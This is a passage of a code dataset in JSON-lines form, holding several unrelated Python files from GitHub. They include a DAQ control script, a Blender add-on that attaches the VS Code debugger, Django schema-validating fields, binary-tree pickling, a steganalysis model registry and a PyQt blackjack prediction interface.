task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n            time.sleep(0.002)\n\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Discharge, None, None)\n        time.sleep(1)\n\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n        time.sleep(1)\n\n        # To restore actuator\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Charge, None, None)\n        time.sleep(0.3)\n\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n        time.sleep(1)\n\n    task0.ReadAnalogF64(numSampsPerChan = nidaq.DAQmx_Val_Auto, timeout = nidaq.DAQmx_Val_WaitInfinitely,\n                        fillMode = nidaq.DAQmx_Val_GroupByChannel, readArray = daqdata, arraySizeInSamps = len(daqdata),\n                        sampsPerChanRead = nidaq.byref(actualReadNum), reserved = None)\n\n    # Safety measure\n    task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n\n    print(\"Total time = %.3f sec - Actual read sample number = %d\" % (time.time() - time0, actualReadNum.value))\n\n    task0.StopTask()\n    task1.StopTask()\n    print(\"Task completed!\")\n    task0.ClearTask()\n    task1.ClearTask()\n\ndaqdata = daqdata.reshape(AnalogInputNum,-1).T\n\n'''-------------------------------------------------------------------------------'''\nfig1 = plt.figure(figsize = (16,6))\nfig1.suptitle((\"Fs = %.0f Hz\" % Fs), fontsize=12)\nax = fig1.add_subplot(111)\nax.set_xlabel('Samples')\n\nt = np.arange(actualReadNum.value)/Fs\n\nif(showPressure):\n    # Measured pressure\n    ax.plot(t, (daqdata[:,1]-calib[1])*calib[0], '-', color='tab:red')\n    ax.set_ylabel('Pressure (Bar)', color='tab:red')\n    ax.tick_params(axis='y', labelcolor='tab:red')\nelse:\n    ax.plot(t, daqdata[:,1], '-', color='tab:orange')\n    ax.set_ylabel('Voltage (V)', color='tab:orange')\n    ax.tick_params(axis='y', labelcolor='tab:orange')\n\n# Reference (control) signal\nax2 = ax.twinx()\nax2.plot(t, daqdata[:,0], '--', color='tab:blue')\nax2.set_ylabel('Control signal (V)', color='tab:blue')\nax2.tick_params(axis='y', labelcolor='tab:blue')\n\nfig1.tight_layout()\nplt.show()\n'''-------------------------------------------------------------------------------'''\ncurrentTime = time.strftime(\"%H-%M-%S\", time.localtime())\n\ntrial = 0\n\nnp.savetxt((\"Data_Fs%d_at%s_FR3U6900V_t%02d.csv\" % (Fs, currentTime, trial)), daqdata, delimiter=\",\")\nprint(\"Data saved on %s\" % currentTime)","repo_name":"maxwellre/pycode","sub_path":"BipolarDAQ/BipolarDAQ.py","file_name":"BipolarDAQ.py","file_ext":"py","file_size_in_byte":5273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"41172366700","text":"'''\nDebugging Support for Visual Studio Code\n\nPrerequest: PTVSD module should have been installed (using pip to install), also the 'Python' (by Don Jaymanne) plugin of VSCode.\n\nAfter this add-on installed and activated, press [Spacebar] then search 'connect', select \"Connect to Visual Studio Code Debugger\" to start forwarding debugging information to VSCode.\n\nIn VSCode, configure the debugger to \"Remote\", then you can start debugging in VSCode.\n\nAuthor: Zhang Bo-Ning\nInspired by https://github.com/sybrenstuvel/random-blender-addons/blob/master/remote_debugger.py\n'''\nbl_info = {\n    'name': 'Debugger for Visual Code',\n    'author': 'Zhang Bo-ning',\n    'version': (0, 1),\n    'blender': (2, 78, 0),\n    'location': 'Press [Space], search for \"debugger\"',\n    'category': 'Development',\n}\n\nimport bpy\nimport sys\nimport os\nfrom bpy.types import AddonPreferences\nfrom bpy.props import StringProperty\n\nclass DebuggerAddonPreferences(AddonPreferences):\n    bl_idname = __name__\n\n    ptvsdPath = StringProperty(\n        name='Path of PTVSD module',\n        subtype='DIR_PATH',\n        default='/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages'\n    )\n    \n    def draw(self, context):\n        layout = self.layout\n        layout.prop(self, 'ptvsdPath')\n        layout.label(text='Path for PTVSD module. In macOS, path should be something like: \"/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages\"')\n\n\nclass Debug_Connect_To_Vscode(bpy.types.Operator): \n    bl_idname = 'debug.connect_debugger_vscode'\n    bl_label = 'Connect to Visual Studio Code Debugger'\n    bl_description = 'Connect to the remote visual studio debugger'\n    \n    def execute(self, context):\n        user_preferences = context.user_preferences\n        addon_prefs = user_preferences.addons[__name__].preferences\n        \n        ptvsdPath = os.path.abspath(addon_prefs.ptvsdPath)\n\n        if not os.path.exists(ptvsdPath):\n            self.report({'ERROR'}, 'Unable to find PTVSD module at %r. Configure the addon properties '\n                                   'in the User Preferences menu.' % ptvsdPath)\n            return {'CANCELLED'}\n        \n        if not any(ptvsdPath in p for p in sys.path):\n            sys.path.append(ptvsdPath)\n\n        import ptvsd\n        ptvsd.enable_attach(\"my_secret\", address = ('0.0.0.0', 3000))\n        return {'FINISHED'}\n\n        \ndef register():\n    bpy.utils.register_class(Debug_Connect_To_Vscode)\n    bpy.utils.register_class(DebuggerAddonPreferences)    \n    \ndef unregister():\n    bpy.utils.unregister_class(Debug_Connect_To_Vscode)\n    bpy.utils.unregister_class(DebuggerAddonPreferences)\n\nif __name__ == '__main__':\n    register()\n","repo_name":"Barbarbarbarian/Blender-VScode-Debugger","sub_path":"Blender_VScode_Debugger.py","file_name":"Blender_VScode_Debugger.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"57"}
+{"seq_id":"8458811266","text":"from django.contrib.postgres.fields import ArrayField as _ArrayField\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import JSONField\nfrom fastjsonschema import JsonSchemaException\n\nfrom apps.landmatrix.models.schemas import (\n    contracts_schema,\n    locations_schema,\n    datasources_schema,\n)\n\n\nclass ArrayField(_ArrayField):\n    def value_to_string(self, obj):\n        return self.value_from_object(obj)\n\n\nclass LocationsField(JSONField):\n    def pre_save(self, model_instance, add):\n        value = super().pre_save(model_instance, add)\n        if value:  # do schema validation here\n            try:\n                locations_schema(value)\n            except JsonSchemaException as e:\n                print(value)\n                raise ValidationError(e, code=\"invalid\")\n        return value\n\n    # def __init__(self, verbose_name=None, name=None, **kwargs):\n    #     # kwargs[\"encoder\"] = DjangoJSONEncoder\n    #     super().__init__(verbose_name=verbose_name, name=name, **kwargs)\n\n    # def formfield(self, **kwargs):\n    #     return super().formfield(**{\n    #         'form_class': forms.JSONField,\n    #         **kwargs,\n    #     })\n\n    # def from_db_value(self, value, expression, connection):\n    #     if value is None:\n    #         return value\n    #     # we could do conversion to datefield here\n    #     return value\n\n\nclass ContractsField(JSONField):\n    def pre_save(self, model_instance, add):\n        value = super().pre_save(model_instance, add)\n        if value:  # do schema validation here\n            try:\n                contracts_schema(value)\n            except JsonSchemaException as e:\n                print(value)\n                raise ValidationError(e, code=\"invalid\")\n        return value\n\n\nclass DatasourcesField(JSONField):\n    def pre_save(self, model_instance, add):\n        value = super().pre_save(model_instance, add)\n        if value:  # do schema validation here\n            try:\n                datasources_schema(value)\n            except JsonSchemaException as e:\n                print(value)\n                raise ValidationError(e, code=\"invalid\")\n        return value\n","repo_name":"sinnwerkstatt/landmatrix","sub_path":"apps/landmatrix/models/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"57"}
+{"seq_id":"43678163513","text":"\"\"\"\nSerialize a binary tree to a file and then deserialize it back to a tree so that\nthe original and the deserialized trees are identical.\n\nSerialize: write the tree in a file.\n\nDeserialize: read from a file and reconstruct the tree in memory.\n\nrevisit\n\"\"\"\nimport implementation_of_binary_tree as bt\nfrom typing import Optional\nimport io\nimport pickle\n\n\ndef serialize(node: bt.BinaryTreeNode, stream: pickle.Pickler) -> pickle.Pickler:\n    # use DFS to serialize nodes in order\n    if not node:\n        # write None to indicate the end\n        stream.dump(None)\n        return stream\n\n    stream.dump(node.data)\n\n    # traverse left most tree first\n    serialize(node.left, stream)\n\n    # traverse right most tree after\n    serialize(node.right, stream)\n\n    return stream\n\n\ndef deserialize(stream: io.BufferedReader) -> Optional[bt.BinaryTreeNode]:\n    try:\n        data = pickle.load(stream)\n    except:\n        return None\n\n    if not data:\n        return None\n\n    root = bt.BinaryTreeNode(data)\n\n    root.left = deserialize(stream)\n    root.right = deserialize(stream)\n\n    return root\n\n\ndef both_trees_match(root_1: bt.BinaryTreeNode, root_2: bt.BinaryTreeNode):\n    if root_1 is None and root_2 is None:\n        return True\n\n    if root_1 is not None and root_2 is not None:\n        data_is_equal = root_1.data == root_2.data\n        return data_is_equal and \\\n               both_trees_match(root_1.left, root_2.left) and \\\n               both_trees_match(root_1.right, root_2.right)\n    else:\n        return False\n\n\ndef main():\n    arr = [100, 50, 200, 25, 75, 125, 350]\n    root = bt.create_BST(arr)\n    arr1 = [100, 50, 200, 25, 75, 350]\n    root1 = bt.create_BST(arr1)\n    output = open('data.class', 'wb')\n    p = pickle.Pickler(output)\n    serialize(root, p)\n    output.close()\n    input2 = open('data.class', 'rb')\n    root_deserialized = deserialize(input2)  # type: ignore # typing.TextIO incompatible with io.IOBase\n    print('result')\n    assert both_trees_match(root, root1) is False\n    assert both_trees_match(root, root_deserialized) is True\n\n    assert root == root_deserialized\n\n\nmain()\n","repo_name":"odubno/python-algorithms","sub_path":"trees/serialize_desearialize_binary_tree.py","file_name":"serialize_desearialize_binary_tree.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"12163196880","text":"import itertools\nfrom typing import Tuple, Dict, Optional\n\nimport torch\nfrom pytorch_toolbelt.inference.ensembling import Ensembler, ApplySigmoidTo, ApplySoftmaxTo\nfrom torch import nn\n\n\nfrom . import rgb_dct, rgb, dct, ela, rgb_ela_blur, timm, ycrcb, hpf_net, srnet, res, bit, timm_bits, unet, stacker\nfrom ..dataset import *\nfrom ..predict import *\n\n\nMODEL_REGISTRY = {\n    \"stacker\": stacker.StackingModel,\n    # Unet\n    \"nr_rgb_unet\": unet.nr_rgb_unet,\n    # Big Transfer\n    \"bit_m_rx152_2\": bit.bit_m_rx152_2,\n    \"bit_m_rx50_1\": bit.bit_m_rx50_1,\n    \"bit_m_rx50_3\": bit.bit_m_rx50_3,\n    \"bit_m_rx101_1\": bit.bit_m_rx101_1,\n    # TIMM\n    \"rgb_tresnet_m_448\": timm.rgb_tresnet_m_448,\n    \"rgb_skresnext50_32x4d\": timm.rgb_skresnext50_32x4d,\n    \"rgb_swsl_resnext101_32x8d\": timm.rgb_swsl_resnext101_32x8d,\n    # EfficientNets (Rounded Input)\n    \"rgb_tf_efficientnet_b1_ns\": timm.rgb_tf_efficientnet_b1_ns,\n    \"rgb_tf_efficientnet_b2_ns\": timm.rgb_tf_efficientnet_b2_ns,\n    \"rgb_tf_efficientnet_b3_ns\": timm.rgb_tf_efficientnet_b3_ns,\n    \"rgb_tf_efficientnet_b6_ns\": timm.rgb_tf_efficientnet_b6_ns,\n    \"rgb_tf_efficientnet_b7_ns\": timm.rgb_tf_efficientnet_b7_ns,\n    # EfficientNets (Non-Rounded Input)\n    \"nr_rgb_tf_efficientnet_b3_ns_mish\": timm.nr_rgb_tf_efficientnet_b3_ns_mish,\n    \"nr_rgb_tf_efficientnet_b3_ns_gn_mish\": timm.nr_rgb_tf_efficientnet_b3_ns_gn_mish,\n    \"nr_rgb_tf_efficientnet_b3_ns_in_mish\": timm.nr_rgb_tf_efficientnet_b3_ns_in_mish,\n    \"nr_rgb_tf_efficientnet_b6_ns\": timm.nr_rgb_tf_efficientnet_b6_ns,\n    \"nr_rgb_tf_efficientnet_b6_ns_mish\": timm.nr_rgb_tf_efficientnet_b6_ns_mish,\n    \"nr_rgb_tf_efficientnet_b6_ns_mish_gep\": timm.nr_rgb_tf_efficientnet_b6_ns_mish_gep,\n    \"nr_rgb_tf_efficientnet_b7_ns_mish\": timm.nr_rgb_tf_efficientnet_b7_ns_mish,\n    \"nr_rgb_mixnet_xl\": timm.nr_rgb_mixnet_xl,\n    \"nr_rgb_mixnet_xxl\": timm.nr_rgb_mixnet_xxl,\n    # Bits\n    \"nr_rgb_tf_efficientnet_b3_ns_in_mish_bits\": timm_bits.nr_rgb_tf_efficientnet_b3_ns_in_mish_bits,\n    \"nr_rgb_tf_efficientnet_b3_ns_mish_bits\": timm_bits.nr_rgb_tf_efficientnet_b3_ns_mish_bits,\n    # RGB + QF\n    # \"rgb_qf_tf_efficientnet_b2_ns\": timm.rgb_qf_tf_efficientnet_b2_ns,\n    # \"rgb_qf_tf_efficientnet_b6_ns\": timm.rgb_qf_tf_efficientnet_b6_ns,\n    # \"rgb_qf_swsl_resnext101_32x8d\": timm.rgb_qf_swsl_resnext101_32x8d,\n    # \"nr_rgb_tf_efficientnet_b3_ns_mish_mask\": timm.nr_rgb_tf_efficientnet_b3_ns_mish_mask,\n    \"rgb_dct_resnet34\": rgb_dct.rgb_dct_resnet34,\n    \"rgb_dct_efficientb3\": rgb_dct.rgb_dct_efficientb3,\n    \"rgb_dct_seresnext50\": rgb_dct.rgb_dct_seresnext50,\n    #\n    \"rgb_b0\": rgb.rgb_b0,\n    \"rgb_resnet18\": rgb.rgb_resnet18,\n    \"rgb_resnet34\": rgb.rgb_resnet34,\n    \"rgb_seresnext50\": rgb.rgb_seresnext50,\n    \"rgb_densenet121\": rgb.rgb_densenet121,\n    \"rgb_densenet201\": rgb.rgb_densenet201,\n    \"rgb_hrnet18\": rgb.rgb_hrnet18,\n    #\n    # DCT\n    \"dct_seresnext50\": dct.dct_seresnext50,\n    \"dct_efficientnet_b6\": dct.dct_efficientnet_b6,\n    #\n    # ELA\n    \"ela_tf_efficientnet_b2_ns\": ela.ela_tf_efficientnet_b2_ns,\n    \"ela_tf_efficientnet_b6_ns\": ela.ela_tf_efficientnet_b6_ns,\n    \"ela_skresnext50_32x4d\": ela.ela_skresnext50_32x4d,\n    \"ela_rich_skresnext50_32x4d\": ela.ela_rich_skresnext50_32x4d,\n    \"ela_wider_resnet38\": ela.ela_wider_resnet38,\n    \"ela_ecaresnext26tn_32x4d\": ela.ela_ecaresnext26tn_32x4d,\n    #\n    # Residual\n    \"res_tf_efficientnet_b2_ns\": res.res_tf_efficientnet_b2_ns,\n    \"rgb_res_tf_efficientnet_b2_ns\": res.rgb_res_tf_efficientnet_b2_ns,\n    \"rgb_res_sms_tf_efficientnet_b2_ns\": res.rgb_res_sms_tf_efficientnet_b2_ns,\n    \"rgb_res_sms_v2_tf_efficientnet_b2_ns\": res.rgb_res_sms_v2_tf_efficientnet_b2_ns,\n    #\n    # YCrCb\n    \"ycrcb_skresnext50_32x4d\": ycrcb.ycrcb_skresnext50_32x4d,\n    \"ela_s2d_skresnext50_32x4d\": ycrcb.ela_s2d_skresnext50_32x4d,\n    #\n    # HPF\n    \"hpf_net\": hpf_net.hpf_net,\n    \"hpf_net2\": hpf_net.hpf_net_v2,\n    \"hpf_b3_fixed_gap\": hpf_net.hpf_b3_fixed_gap,\n    \"hpf_b3_covpool\": hpf_net.hpf_b3_covpool,\n    \"hpf_b3_fixed_covpool\": hpf_net.hpf_b3_fixed_covpool,\n    # SRNET\n    \"srnet\": srnet.srnet,\n    \"srnet_inplace\": srnet.srnet_inplace,\n    # OLD STUFF\n    \"frank\": rgb_ela_blur.frank,\n}\n\n__all__ = [\"MODEL_REGISTRY\", \"get_model\", \"ensemble_from_checkpoints\", \"wrap_model_with_tta\"]\n\n\ndef get_model(model_name, num_classes=4, pretrained=True, **kwargs):\n    return MODEL_REGISTRY[model_name](num_classes=num_classes, pretrained=pretrained, **kwargs)\n\n\ndef model_from_checkpoint(\n    model_checkpoint: str, model_name=None, report=True, need_embedding=False, strict=True\n) -> Tuple[nn.Module, Dict]:\n    checkpoint = torch.load(model_checkpoint, map_location=\"cpu\")\n    model_name = model_name or checkpoint[\"checkpoint_data\"][\"cmd_args\"][\"model\"]\n\n    model = get_model(model_name, pretrained=False, need_embedding=need_embedding)\n    model.load_state_dict(checkpoint[\"model_state_dict\"], strict=strict)\n    return model.eval(), checkpoint\n\n\ndef wrap_model_with_tta(model, tta_mode, inputs, outputs):\n    if tta_mode == \"flip-hv\":\n        model = HVFlipTTA(model, inputs=inputs, outputs=outputs, average=True)\n    elif tta_mode == \"d4\":\n        model = D4TTA(model, inputs=inputs, outputs=outputs, average=True)\n    else:\n        pass\n\n    return model\n\n\ndef ensemble_from_checkpoints(\n    checkpoints,\n    strict=True,\n    outputs=None,\n    activation: Optional[str] = \"after_model\",\n    tta=None,\n    temperature=1,\n    need_embedding=False,\n    model_name=None,\n):\n    if activation not in {None, \"after_model\", \"after_tta\", \"after_ensemble\"}:\n        raise KeyError(activation)\n\n    models, loaded_checkpoints = zip(\n        *[\n            model_from_checkpoint(ck, model_name=model_name, need_embedding=need_embedding, strict=strict)\n            for ck in checkpoints\n        ]\n    )\n\n    required_features = itertools.chain(*[m.required_features for m in models])\n    required_features = list(set(list(required_features)))\n\n    if activation == \"after_model\":\n        models = [ApplySigmoidTo(m, output_key=OUTPUT_PRED_MODIFICATION_FLAG, temperature=temperature) for m in models]\n        models = [ApplySoftmaxTo(m, output_key=OUTPUT_PRED_MODIFICATION_TYPE, temperature=temperature) for m in models]\n        print(\"Applying sigmoid activation to OUTPUT_PRED_MODIFICATION_FLAG\", \"after model\")\n        print(\"Applying softmax activation to OUTPUT_PRED_MODIFICATION_TYPE\", \"after model\")\n\n    if len(models) > 1:\n\n        model = Ensembler(models, outputs=outputs)\n        if activation == \"after_ensemble\":\n            model = ApplySigmoidTo(model, output_key=OUTPUT_PRED_MODIFICATION_FLAG, temperature=temperature)\n            model = ApplySoftmaxTo(model, output_key=OUTPUT_PRED_MODIFICATION_TYPE, temperature=temperature)\n            print(\"Applying sigmoid activation to outputs\", outputs, \"after ensemble\")\n    else:\n        assert len(models) == 1\n        model = models[0]\n\n    if tta is not None:\n        model = wrap_model_with_tta(model, tta, inputs=required_features, outputs=outputs)\n        print(\"Wrapping models with TTA\", tta)\n\n    if activation == \"after_tta\":\n        model = ApplySigmoidTo(model, output_key=OUTPUT_PRED_MODIFICATION_FLAG, temperature=temperature)\n        model = ApplySoftmaxTo(model, output_key=OUTPUT_PRED_MODIFICATION_TYPE, temperature=temperature)\n        print(\"Applying sigmoid activation to outputs\", outputs, \"after TTA\")\n\n    return model.eval(), loaded_checkpoints, required_features\n","repo_name":"BloodAxe/Kaggle-2020-Alaska2","sub_path":"alaska2/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7438,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"57"}
+{"seq_id":"20689372532","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import pyqtSlot\nimport tensorflow\nfrom keras.models import model_from_json\nimport numpy as np\nimport pandas as pd\nfrom blackjack_sim import *\n\n\ndef model_decision(model, player_sum, has_ace, dealer_card_num, new_stack,\n                   games_played, card_count):\n    input_array = np.array([player_sum, 0, has_ace,\n                            dealer_card_num]).reshape(1, -1)\n    cc_array = pd.DataFrame.from_dict([card_count])\n    input_array = np.concatenate([input_array, cc_array], axis=1)\n    predict_correct = model.predict(input_array)\n    if predict_correct >= 0.52:\n        print('hit', predict_correct)\n        return 1, predict_correct\n    else:\n        print('stay', predict_correct)\n        return 0, predict_correct\n\n\ndef setup():\n    json_file = open('model.json', 'r')\n    loaded_model_json = json_file.read()\n    json_file.close()\n    model = model_from_json(loaded_model_json)\n    # load weights into new model\n    model.load_weights(\"model.h5\")\n    print(\"Loaded model from disk\")\n\n    card_count = {\n        2: 0,\n        3: 0,\n        4: 0,\n        5: 0,\n        6: 0,\n        7: 0,\n        8: 0,\n        9: 0,\n        10: 0,\n        'A': 0\n    }\n    return model, card_count\n\ndef newGameSetup():\n    for key in card_count:\n        card_count[key] = 0\n    cardsLeft[0] = 312\n\n\ndef next_round():\n    player_hand.clear()\n    dealer_hand.clear()\n\n\ndef predict():\n    player_sum = total_up(player_hand)\n    has_ace = 'A' in player_hand\n    dealer_card_num = dealer_hand[0]\n    predicted_val = model_decision(model, player_sum, has_ace, dealer_card_num,\n                                   0, 0, card_count)\n    return predicted_val\n\n\ndef add_to_player_hand(card):\n    player_hand.append(card)\n    card_count[card] += 1\n    cardsLeft[0] -= 1\n\n\ndef remove_from_player_hand():\n    card = player_hand.pop()\n    card_count[card] -= 1\n    cardsLeft[0] += 1\n\ndef add_to_dealer_hand(card):\n    dealer_hand.append(card)\n    card_count[card] += 1\n    cardsLeft[0] -= 1\n\n\ndef remove_from_dealer_hand():\n    card = dealer_hand.pop()\n    card_count[card] -= 1\n    cardsLeft[0] += 1\n\n\nclass Ui_MainWindow(object):\n    def setupUi(self, MainWindow):\n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(838, 814)\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setEnabled(True)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.playerA = QtWidgets.QPushButton(self.centralwidget)\n        self.playerA.setGeometry(QtCore.QRect(50, 560, 61, 111))\n        self.playerA.setObjectName(\"playerA\")\n        self.player2 = QtWidgets.QPushButton(self.centralwidget)\n        self.player2.setGeometry(QtCore.QRect(120, 560, 61, 111))\n        self.player2.setObjectName(\"player2\")\n        self.player3 = QtWidgets.QPushButton(self.centralwidget)\n        self.player3.setGeometry(QtCore.QRect(190, 560, 61, 111))\n        self.player3.setObjectName(\"player3\")\n        self.player4 = QtWidgets.QPushButton(self.centralwidget)\n        self.player4.setGeometry(QtCore.QRect(260, 560, 61, 111))\n        self.player4.setObjectName(\"player4\")\n        self.player5 = QtWidgets.QPushButton(self.centralwidget)\n        self.player5.setGeometry(QtCore.QRect(330, 560, 61, 111))\n        self.player5.setObjectName(\"player5\")\n        self.player6 = QtWidgets.QPushButton(self.centralwidget)\n        self.player6.setGeometry(QtCore.QRect(400, 560, 61, 111))\n        self.player6.setObjectName(\"player6\")\n        self.player7 = QtWidgets.QPushButton(self.centralwidget)\n        self.player7.setGeometry(QtCore.QRect(470, 560, 61, 111))\n        self.player7.setObjectName(\"player7\")\n        self.player8 = QtWidgets.QPushButton(self.centralwidget)\n        self.player8.setGeometry(QtCore.QRect(540, 560, 61, 111))\n        self.player8.setObjectName(\"player8\")\n        self.player9 = QtWidgets.QPushButton(self.centralwidget)\n        self.player9.setGeometry(QtCore.QRect(610, 560, 61, 111))\n        self.player9.setObjectName(\"player9\")\n        self.player10 = QtWidgets.QPushButton(self.centralwidget)\n        self.player10.setGeometry(QtCore.QRect(680, 560, 61, 111))\n        self.player10.setObjectName(\"player10\")\n        self.dealer2 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer2.setGeometry(QtCore.QRect(110, 10, 61, 111))\n        self.dealer2.setObjectName(\"dealer2\")\n        self.dealer5 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer5.setGeometry(QtCore.QRect(320, 10, 61, 111))\n        self.dealer5.setObjectName(\"dealer5\")\n        self.dealer10 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer10.setGeometry(QtCore.QRect(670, 10, 61, 111))\n        self.dealer10.setObjectName(\"dealer10\")\n        self.dealer4 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer4.setEnabled(True)\n        self.dealer4.setGeometry(QtCore.QRect(250, 10, 61, 111))\n        self.dealer4.setObjectName(\"dealer4\")\n        self.dealer9 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer9.setGeometry(QtCore.QRect(600, 10, 61, 111))\n        self.dealer9.setObjectName(\"dealer9\")\n        self.dealer6 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer6.setGeometry(QtCore.QRect(390, 10, 61, 111))\n        self.dealer6.setObjectName(\"dealer6\")\n        self.dealer7 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer7.setGeometry(QtCore.QRect(460, 10, 61, 111))\n        self.dealer7.setObjectName(\"dealer7\")\n        self.dealer8 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer8.setGeometry(QtCore.QRect(530, 10, 61, 111))\n        self.dealer8.setObjectName(\"dealer8\")\n        self.dealerA = QtWidgets.QPushButton(self.centralwidget)\n        self.dealerA.setGeometry(QtCore.QRect(40, 10, 61, 111))\n        self.dealerA.setObjectName(\"dealerA\")\n        self.dealer3 = QtWidgets.QPushButton(self.centralwidget)\n        self.dealer3.setGeometry(QtCore.QRect(180, 10, 61, 111))\n        self.dealer3.setObjectName(\"dealer3\")\n        self.playerDelete = QtWidgets.QPushButton(self.centralwidget)\n        self.playerDelete.setGeometry(QtCore.QRect(750, 560, 61, 111))\n        self.playerDelete.setObjectName(\"playerDelete\")\n        self.dealerDelete = QtWidgets.QPushButton(self.centralwidget)\n        self.dealerDelete.setGeometry(QtCore.QRect(740, 10, 61, 111))\n        self.dealerDelete.setObjectName(\"dealerDelete\")\n        self.DealeHand = QtWidgets.QLabel(self.centralwidget)\n        self.DealeHand.setGeometry(QtCore.QRect(370, 120, 111, 41))\n        font = QtGui.QFont()\n        font.setPointSize(14)\n        self.DealeHand.setFont(font)\n        self.DealeHand.setObjectName(\"DealeHand\")\n        self.PlayerHand = QtWidgets.QLabel(self.centralwidget)\n        self.PlayerHand.setGeometry(QtCore.QRect(380, 510, 111, 41))\n        font = QtGui.QFont()\n        font.setPointSize(14)\n        self.PlayerHand.setFont(font)\n        self.PlayerHand.setObjectName(\"PlayerHand\")\n        self.predict = QtWidgets.QPushButton(self.centralwidget)\n        self.predict.setGeometry(QtCore.QRect(320, 700, 75, 23))\n        self.predict.setObjectName(\"predict\")\n        self.nextHand = QtWidgets.QPushButton(self.centralwidget)\n        self.nextHand.setGeometry(QtCore.QRect(470, 700, 75, 23))\n        self.nextHand.setObjectName(\"nextHand\")\n        self.Prompt = QtWidgets.QLabel(self.centralwidget)\n        self.Prompt.setGeometry(QtCore.QRect(260, 290, 400, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe MDL2 Assets\")\n        font.setPointSize(14)\n        font.setBold(True)\n        font.setWeight(75)\n        self.Prompt.setFont(font)\n        self.Prompt.setObjectName(\"Prompt\")\n        self.CardLabel = QtWidgets.QLabel(self.centralwidget)\n        self.CardLabel.setGeometry(QtCore.QRect(650, 270, 161, 31))\n        font = QtGui.QFont()\n        font.setPointSize(14)\n        self.CardLabel.setFont(font)\n        self.CardLabel.setObjectName(\"CardLabel\")\n        self.NumberCardsLeft = QtWidgets.QLabel(self.centralwidget)\n        self.NumberCardsLeft.setGeometry(QtCore.QRect(720, 300, 71, 31))\n        font = QtGui.QFont()\n        font.setPointSize(14)\n        self.NumberCardsLeft.setFont(font)\n        self.NumberCardsLeft.setObjectName(\"NumberCardsLeft\")\n        self.newGame = QtWidgets.QPushButton(self.centralwidget)\n        self.newGame.setGeometry(QtCore.QRect(740, 700, 75, 23))\n        self.newGame.setObjectName(\"newGame\")\n        self.PlayerCards = QtWidgets.QLabel(self.centralwidget)\n        self.PlayerCards.setGeometry(QtCore.QRect(290, 400, 411, 61))\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe MDL2 Assets\")\n        font.setPointSize(14)\n        font.setBold(True)\n        font.setWeight(75)\n        self.PlayerCards.setFont(font)\n        self.PlayerCards.setObjectName(\"PlayerCards\")\n        self.DealerCards = QtWidgets.QLabel(self.centralwidget)\n        self.DealerCards.setGeometry(QtCore.QRect(280, 190, 411, 61))\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe MDL2 Assets\")\n        font.setPointSize(14)\n        font.setBold(True)\n        font.setWeight(75)\n        self.DealerCards.setFont(font)\n        self.DealerCards.setObjectName(\"DealerCards\")\n        self.NextWarning = QtWidgets.QLabel(self.centralwidget)\n        self.NextWarning.setGeometry(QtCore.QRect(220, 740, 481, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe MDL2 Assets\")\n        font.setPointSize(14)\n        font.setBold(True)\n        font.setWeight(75)\n        self.NextWarning.setFont(font)\n        self.NextWarning.setObjectName(\"NextWarning\")\n        MainWindow.setCentralWidget(self.centralwidget)\n        self.menubar = QtWidgets.QMenuBar(MainWindow)\n        self.menubar.setGeometry(QtCore.QRect(0, 0, 838, 21))\n        self.menubar.setObjectName(\"menubar\")\n        MainWindow.setMenuBar(self.menubar)\n        self.statusbar = QtWidgets.QStatusBar(MainWindow)\n        self.statusbar.setObjectName(\"statusbar\")\n        MainWindow.setStatusBar(self.statusbar)\n\n\n        self.retranslateUi(MainWindow)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n        self.playerA.clicked.connect(self.playerAClicked)\n        self.player2.clicked.connect(self.player2Clicked)\n        self.player3.clicked.connect(self.player3Clicked)\n        self.player4.clicked.connect(self.player4Clicked)\n        self.player5.clicked.connect(self.player5Clicked)\n        self.player6.clicked.connect(self.player6Clicked)\n        self.player7.clicked.connect(self.player7Clicked)\n        self.player8.clicked.connect(self.player8Clicked)\n        self.player9.clicked.connect(self.player9Clicked)\n        self.player10.clicked.connect(self.player10Clicked)\n        self.playerDelete.clicked.connect(self.playerDeleteClicked)\n        self.predict.clicked.connect(self.predictClicked)\n        self.dealerA.clicked.connect(self.dealerAClicked)\n        self.dealer2.clicked.connect(self.dealer2Clicked)\n        self.dealer3.clicked.connect(self.dealer3Clicked)\n        self.dealer4.clicked.connect(self.dealer4Clicked)\n        